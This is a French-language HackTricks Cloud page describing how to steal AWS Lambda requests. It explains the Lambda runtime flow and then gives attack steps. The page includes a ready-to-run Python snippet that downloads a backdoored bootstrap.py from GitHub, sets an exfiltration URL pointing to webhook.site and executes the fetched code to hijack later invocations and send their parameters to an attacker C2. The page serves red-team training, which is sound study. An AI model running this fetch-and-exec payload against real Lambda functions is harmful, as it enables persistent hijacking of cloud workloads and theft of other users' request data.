AWS - Voler des requêtes Lambda
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Flux Lambda
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer est un processus en dehors du conteneur qui envoie des invocations au processus init.
- Le processus init écoute sur le port 9001 exposant quelques points de terminaison intéressants :
/2018-06-01/runtime/invocation/next
– obtenir le prochain événement d'invocation/2018-06-01/runtime/invocation/{invoke-id}/response
– retourner la réponse du gestionnaire pour l'invocation/2018-06-01/runtime/invocation/{invoke-id}/error
– retourner une erreur d'exécution
- bootstrap.py a une boucle récupérant les invocations du processus init et appelle le code des utilisateurs pour les gérer (
/next
). - Enfin, bootstrap.py envoie au processus init la réponse
Notez que bootstrap charge le code utilisateur en tant que module, donc toute exécution de code effectuée par le code des utilisateurs se produit en réalité dans ce processus.
Voler des requêtes Lambda
L'objectif de cette attaque est de faire exécuter un processus bootstrap.py
malveillant par le code des utilisateurs à l'intérieur du processus bootstrap.py
qui gère la requête vulnérable. De cette manière, le processus bootstrap malveillant commencera à communiquer avec le processus init pour gérer les requêtes pendant que le bootstrap légitime est piégé à exécuter le malveillant, donc il ne demandera pas de requêtes au processus init.
C'est une tâche simple à réaliser car le code de l'utilisateur est exécuté par le processus bootstrap.py
légitime. Ainsi, l'attaquant pourrait :
- Envoyer un faux résultat de l'invocation actuelle au processus init, de sorte que init pense que le processus bootstrap attend plus d'invocations.
- Une requête doit être envoyée à
/${invoke-id}/response
- L'invoke-id peut être obtenu à partir de la pile du processus
bootstrap.py
légitime en utilisant le module python inspect (comme proposé ici) ou en le demandant à nouveau à/2018-06-01/runtime/invocation/next
(comme proposé ici). - Exécuter un
boostrap.py
malveillant qui gérera les prochaines invocations - Pour des raisons de discrétion, il est possible d'envoyer les paramètres d'invocation lambda à un C2 contrôlé par l'attaquant et ensuite de gérer les requêtes comme d'habitude.
- Pour cette attaque, il suffit d'obtenir le code original de
bootstrap.py
du système ou de github, d'ajouter le code malveillant et de l'exécuter à partir de l'invocation lambda actuelle.
Étapes de l'attaque
- Trouver une vulnérabilité RCE.
- Générer un bootstrap malveillant (par exemple, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Exécuter le bootstrap malveillant.
Vous pouvez facilement effectuer ces actions en exécutant :
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Pour plus d'infos, consultez https://github.com/carlospolop/lambda_bootstrap_switcher
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.